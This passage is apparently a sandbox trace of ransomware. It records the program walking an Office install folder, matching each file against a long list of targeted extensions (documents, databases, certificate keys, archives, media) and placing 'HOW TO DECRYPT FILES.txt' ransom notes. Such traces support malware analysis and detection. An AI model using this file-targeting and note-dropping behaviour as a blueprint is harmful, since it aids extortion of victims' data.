Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\attention.gif", pszSpec="*.gz") returned 0 [0064.891] lstrlenA (lpString="*.gz") returned 4 [0064.891] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\attention.gif", pszSpec="*.mkv") returned 0 [0064.891] lstrlenA (lpString="*.mkv") returned 5 [0064.891] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\attention.gif", pszSpec="*.eml") returned 0 [0064.891] lstrlenA (lpString="*.eml") returned 5 [0064.892] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\attention.gif", pszSpec="*.msg") returned 0 [0064.892] lstrlenA (lpString="*.msg") returned 5 [0064.892] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\attention.gif", pszSpec="*.edb") returned 0 [0064.892] lstrlenA (lpString="*.edb") returned 5 [0064.892] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\attention.gif", pszSpec="*.accdb") returned 0 [0064.892] lstrlenA (lpString="*.accdb") returned 7 [0064.892] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\attention.gif", pszSpec="*.odb") returned 0 [0064.892] lstrlenA (lpString="*.odb") returned 5 [0064.892] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\attention.gif", pszSpec="*.java") returned 0 [0064.892] lstrlenA (lpString="*.java") returned 6 [0064.892] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\attention.gif", pszSpec="*.asm") returned 0 [0064.892] lstrlenA (lpString="*.asm") returned 5 [0064.892] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\attention.gif", pszSpec="*.pfx") returned 0 [0064.892] lstrlenA (lpString="*.pfx") returned 5 [0064.892] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\attention.gif", pszSpec="*.pem") returned 0 [0064.892] lstrlenA (lpString="*.pem") returned 5 [0064.892] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\attention.gif", pszSpec="*.p12") returned 0 [0064.892] lstrlenA (lpString="*.p12") returned 5 [0064.892] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\attention.gif", pszSpec="*.gpg") returned 0 [0064.892] lstrlenA (lpString="*.gpg") returned 5 [0064.892] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\attention.gif", pszSpec="*.vsd") returned 0 [0064.892] lstrlenA (lpString="*.vsd") returned 5 [0064.892] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\attention.gif", pszSpec="*.odg") returned 0 [0064.892] lstrlenA (lpString="*.odg") returned 5 [0064.892] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\attention.gif", pszSpec="*.raw") returned 0 [0064.893] lstrlenA (lpString="*.raw") returned 5 [0064.893] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\attention.gif", pszSpec="*.nef") returned 0 [0064.893] lstrlenA (lpString="*.nef") returned 5 [0064.893] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\attention.gif", pszSpec="*.svg") returned 0 [0064.893] lstrlenA (lpString="*.svg") returned 5 [0064.893] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\attention.gif", pszSpec="*.psd") returned 0 [0064.893] lstrlenA (lpString="*.psd") returned 5 [0064.893] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\attention.gif", pszSpec="*.vmx") returned 0 [0064.893] lstrlenA (lpString="*.vmx") returned 5 [0064.893] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\attention.gif", pszSpec="*.vmdk") returned 0 [0064.893] lstrlenA (lpString="*.vmdk") returned 6 [0064.893] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\attention.gif", pszSpec="*.vdi") returned 0 [0064.893] lstrlenA (lpString="*.vdi") returned 5 [0064.893] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\attention.gif", pszSpec="*.lay6") returned 0 [0064.893] lstrlenA (lpString="*.lay6") returned 6 [0064.893] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\attention.gif", pszSpec="*.mpeg") returned 0 [0064.893] lstrlenA (lpString="*.mpeg") returned 6 [0064.894] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\attention.gif", pszSpec="*.djvu") returned 0 [0064.894] lstrlenA (lpString="*.djvu") returned 6 [0064.894] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\attention.gif", pszSpec="*.tiff") returned 0 [0064.894] lstrlenA (lpString="*.tiff") returned 6 [0064.894] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\attention.gif", pszSpec="*.backup") returned 0 [0064.894] lstrlenA (lpString="*.backup") returned 8 [0064.894] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\attention.gif", pszSpec="*.pdf") returned 0 [0064.894] lstrlenA (lpString="*.pdf") returned 5 [0064.894] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\attention.gif", pszSpec="*.cert") returned 0 [0064.894] lstrlenA (lpString="*.cert") returned 6 [0064.894] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\attention.gif", pszSpec="*.docm") returned 0 [0064.894] lstrlenA (lpString="*.docm") returned 6 [0064.894] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\attention.gif", pszSpec="*.xlsm") returned 0 [0064.894] lstrlenA (lpString="*.xlsm") returned 6 [0064.894] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\attention.gif", pszSpec="*.dwg") returned 0 [0064.894] lstrlenA (lpString="*.dwg") returned 5 [0064.894] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\attention.gif", pszSpec="*.nd") returned 0 [0064.894] lstrlenA (lpString="*.nd") returned 4 [0064.894] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\attention.gif", pszSpec="*.tlg") returned 0 [0064.894] lstrlenA (lpString="*.tlg") returned 5 [0064.894] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\attention.gif", pszSpec="*.lgb") returned 0 [0064.894] lstrlenA (lpString="*.lgb") returned 5 [0064.894] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\attention.gif", pszSpec="*.mov") returned 0 [0064.895] lstrlenA (lpString="*.mov") returned 5 [0064.895] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\attention.gif", pszSpec="*.xdw") returned 0 [0064.895] lstrlenA (lpString="*.xdw") returned 5 [0064.895] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\attention.gif", pszSpec="*.ods") returned 0 [0064.895] lstrlenA (lpString="*.ods") returned 5 [0064.895] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\attention.gif", pszSpec="*.wav") returned 0 [0064.895] lstrlenA (lpString="*.wav") returned 5 [0064.895] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\attention.gif", pszSpec="*.mp3") returned 0 [0064.895] lstrlenA (lpString="*.mp3") returned 5 [0064.895] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\attention.gif", pszSpec="*.aiff") returned 0 [0064.895] lstrlenA (lpString="*.aiff") returned 6 [0064.895] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\attention.gif", pszSpec="*.flac") returned 0 [0064.895] lstrlenA (lpString="*.flac") returned 6 [0064.895] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\attention.gif", pszSpec="*.m4a") returned 0 [0064.895] lstrlenA (lpString="*.m4a") returned 5 [0064.895] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\attention.gif", pszSpec="*.csv") returned 0 [0064.895] lstrlenA (lpString="*.csv") returned 5 [0064.895] FindNextFileA (in: hFindFile=0x502518, lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa769da00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x60120f70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa769da00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x383, dwReserved0=0x57004f, dwReserved1=0x540020, cFileName="CALENDAR.GIF", cAlternateFileName="")) returned 1 [0064.895] PeekMessageA (in: lpMsg=0x18f4e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f4e4) returned 0 [0064.895] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="CALENDAR.GIF") returned 1 [0064.895] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="CALENDAR.GIF") returned 1 [0064.895] lstrcmpiA (lpString1="", lpString2="CALENDAR.GIF") returned -1 [0064.895] PathFindFileNameA (pszPath="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\attention.gif") returned="attention.gif" [0064.896] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\" [0064.896] PathAddBackslashA (in: pszPath="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\" | out: pszPath="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\") returned="" [0064.896] lstrcatA (in: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\HOW TO DECRYPT FILES.txt") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\HOW TO DECRYPT FILES.txt" [0064.896] GetFileAttributesA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms5\\how to decrypt files.txt")) returned 0x20 [0064.896] lstrcatA (in: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\", lpString2="CALENDAR.GIF" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\CALENDAR.GIF") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\CALENDAR.GIF" [0064.896] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\CALENDAR.GIF", pszSpec="*.ems") returned 0 [0064.896] lstrlenA (lpString="*.ems") returned 5 [0064.896] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\CALENDAR.GIF", pszSpec="*.db") returned 0 [0064.896] lstrlenA (lpString="*.db") returned 4 [0064.896] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\CALENDAR.GIF", pszSpec="*.dbf") returned 0 [0064.896] lstrlenA (lpString="*.dbf") returned 5 [0064.896] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\CALENDAR.GIF", pszSpec="*.myox") returned 0 [0064.896] lstrlenA (lpString="*.myox") returned 6 [0064.896] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\CALENDAR.GIF", pszSpec="*.myo") returned 0 [0064.896] lstrlenA (lpString="*.myo") returned 5 [0064.896] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\CALENDAR.GIF", pszSpec="*.qbw") returned 0 [0064.896] lstrlenA (lpString="*.qbw") returned 5 [0064.896] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\CALENDAR.GIF", pszSpec="*.qbb") returned 0 [0064.897] lstrlenA (lpString="*.qbb") returned 5 [0064.897] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\CALENDAR.GIF", pszSpec="*.qbm") returned 0 [0064.897] lstrlenA (lpString="*.qbm") returned 5 [0064.897] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\CALENDAR.GIF", pszSpec="*.qbo") returned 0 [0064.897] lstrlenA (lpString="*.qbo") returned 5 [0064.897] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\CALENDAR.GIF", pszSpec="*.qbx") returned 0 [0064.897] lstrlenA (lpString="*.qbx") returned 5 [0064.897] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\CALENDAR.GIF", pszSpec="*.qba") returned 0 [0064.897] lstrlenA (lpString="*.qba") returned 5 [0064.897] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\CALENDAR.GIF", pszSpec="*.qby") returned 0 [0064.897] lstrlenA (lpString="*.qby") returned 5 [0064.897] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\CALENDAR.GIF", pszSpec="*.qbj") returned 0 [0064.897] lstrlenA (lpString="*.qbj") returned 5 [0064.897] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\CALENDAR.GIF", pszSpec="*.ofx") returned 0 [0064.897] lstrlenA (lpString="*.ofx") returned 5 [0064.897] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\CALENDAR.GIF", pszSpec="*.qif") returned 0 [0064.897] lstrlenA (lpString="*.qif") returned 5 [0064.897] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\CALENDAR.GIF", pszSpec="*.mye") returned 0 [0064.897] lstrlenA (lpString="*.mye") returned 5 [0064.897] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\CALENDAR.GIF", pszSpec="*.mbox") returned 0 [0064.897] lstrlenA (lpString="*.mbox") returned 6 [0064.897] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\CALENDAR.GIF", pszSpec="*.eml") returned 0 [0064.897] lstrlenA (lpString="*.eml") returned 5 [0064.897] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\CALENDAR.GIF", pszSpec="*.pst") returned 0 [0064.897] lstrlenA (lpString="*.pst") returned 5 [0064.897] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\CALENDAR.GIF", pszSpec="*.ost") returned 0 [0064.898] lstrlenA (lpString="*.ost") returned 5 [0064.898] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\CALENDAR.GIF", pszSpec="*.idx") returned 0 [0064.898] lstrlenA (lpString="*.idx") returned 5 [0064.898] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\CALENDAR.GIF", pszSpec="*.dbx") returned 0 [0064.898] lstrlenA (lpString="*.dbx") returned 5 [0064.898] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\CALENDAR.GIF", pszSpec="*.sql") returned 0 [0064.898] lstrlenA (lpString="*.sql") returned 5 [0064.898] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\CALENDAR.GIF", pszSpec="*.mdb") returned 0 [0064.898] lstrlenA (lpString="*.mdb") returned 5 [0064.898] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\CALENDAR.GIF", pszSpec="*.fdb") returned 0 [0064.898] lstrlenA (lpString="*.fdb") returned 5 [0064.898] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\CALENDAR.GIF", pszSpec="*.wab") returned 0 [0064.898] lstrlenA (lpString="*.wab") returned 5 [0064.898] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\CALENDAR.GIF", pszSpec="*.dat") returned 0 [0064.898] lstrlenA (lpString="*.dat") returned 5 [0064.898] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\CALENDAR.GIF", pszSpec="*.txt") returned 0 [0064.898] lstrlenA (lpString="*.txt") returned 5 [0064.898] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\CALENDAR.GIF", pszSpec="*.jpeg") returned 0 [0064.898] lstrlenA (lpString="*.jpeg") returned 6 [0064.898] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\CALENDAR.GIF", pszSpec="*.jpg") returned 0 [0064.898] lstrlenA (lpString="*.jpg") returned 5 [0064.898] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\CALENDAR.GIF", pszSpec="*.png") returned 0 [0064.898] lstrlenA (lpString="*.png") returned 5 [0064.898] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\CALENDAR.GIF", pszSpec="*.php") returned 0 [0064.898] lstrlenA (lpString="*.php") returned 5 [0064.898] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\CALENDAR.GIF", pszSpec="*.cs") returned 0 [0064.899] lstrlenA (lpString="*.cs") returned 4 [0064.899] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\CALENDAR.GIF", pszSpec="*.cpp") returned 0 [0064.899] lstrlenA (lpString="*.cpp") returned 5 [0064.899] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\CALENDAR.GIF", pszSpec="*.rar") returned 0 [0064.899] lstrlenA (lpString="*.rar") returned 5 [0064.899] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\CALENDAR.GIF", pszSpec="*.zip") returned 0 [0064.899] lstrlenA (lpString="*.zip") returned 5 [0064.899] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\CALENDAR.GIF", pszSpec="*.html") returned 0 [0064.899] lstrlenA (lpString="*.html") returned 6 [0064.899] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\CALENDAR.GIF", pszSpec="*.htm") returned 0 [0064.899] lstrlenA (lpString="*.htm") returned 5 [0064.899] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\CALENDAR.GIF", pszSpec="*.xlsx") returned 0 [0064.899] lstrlenA (lpString="*.xlsx") returned 6 [0064.899] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\CALENDAR.GIF", pszSpec="*.xls") returned 0 [0064.899] lstrlenA (lpString="*.xls") returned 5 [0064.899] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\CALENDAR.GIF", pszSpec="*.mp4") returned 0 [0064.899] lstrlenA (lpString="*.mp4") returned 5 [0064.899] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\CALENDAR.GIF", pszSpec="*.ppt") returned 0 [0064.899] lstrlenA (lpString="*.ppt") returned 5 [0064.899] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\CALENDAR.GIF", pszSpec="*.pptx") returned 0 [0064.899] lstrlenA (lpString="*.pptx") returned 6 [0064.899] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\CALENDAR.GIF", pszSpec="*.doc") returned 0 [0064.899] lstrlenA (lpString="*.doc") returned 5 [0064.899] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\CALENDAR.GIF", pszSpec="*.dot") returned 0 [0064.899] lstrlenA (lpString="*.dot") returned 5 [0064.899] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\CALENDAR.GIF", pszSpec="*.docx") returned 0 [0064.900] lstrlenA (lpString="*.docx") returned 6 [0064.900] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\CALENDAR.GIF", pszSpec="*.7z") returned 0 [0064.900] lstrlenA (lpString="*.7z") returned 4 [0064.900] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\CALENDAR.GIF", pszSpec="*.tar") returned 0 [0064.900] lstrlenA (lpString="*.tar") returned 5 [0064.900] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\CALENDAR.GIF", pszSpec="*.bz2") returned 0 [0064.900] lstrlenA (lpString="*.bz2") returned 5 [0064.900] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\CALENDAR.GIF", pszSpec="*.gz") returned 0 [0064.900] lstrlenA (lpString="*.gz") returned 4 [0064.900] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\CALENDAR.GIF", pszSpec="*.mkv") returned 0 [0064.900] lstrlenA (lpString="*.mkv") returned 5 [0064.900] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\CALENDAR.GIF", pszSpec="*.eml") returned 0 [0064.900] lstrlenA (lpString="*.eml") returned 5 [0064.900] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\CALENDAR.GIF", pszSpec="*.msg") returned 0 [0064.900] lstrlenA (lpString="*.msg") returned 5 [0064.900] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\CALENDAR.GIF", pszSpec="*.edb") returned 0 [0064.900] lstrlenA (lpString="*.edb") returned 5 [0064.900] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\CALENDAR.GIF", pszSpec="*.accdb") returned 0 [0064.900] lstrlenA (lpString="*.accdb") returned 7 [0064.900] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\CALENDAR.GIF", pszSpec="*.odb") returned 0 [0064.900] lstrlenA (lpString="*.odb") returned 5 [0064.901] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\CALENDAR.GIF", pszSpec="*.java") returned 0 [0064.901] lstrlenA (lpString="*.java") returned 6 [0064.901] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\CALENDAR.GIF", pszSpec="*.asm") returned 0 [0064.901] lstrlenA (lpString="*.asm") returned 5 [0064.901] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\CALENDAR.GIF", pszSpec="*.pfx") returned 0 [0064.901] lstrlenA (lpString="*.pfx") returned 5 [0064.901] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\CALENDAR.GIF", pszSpec="*.pem") returned 0 [0064.901] lstrlenA (lpString="*.pem") returned 5 [0064.901] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\CALENDAR.GIF", pszSpec="*.p12") returned 0 [0064.901] lstrlenA (lpString="*.p12") returned 5 [0064.901] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\CALENDAR.GIF", pszSpec="*.gpg") returned 0 [0064.901] FindNextFileA (in: hFindFile=0x502518, lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa769da00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x51da7910, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa769da00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x271, dwReserved0=0x57004f, dwReserved1=0x540020, cFileName="DELETE.GIF", cAlternateFileName="")) 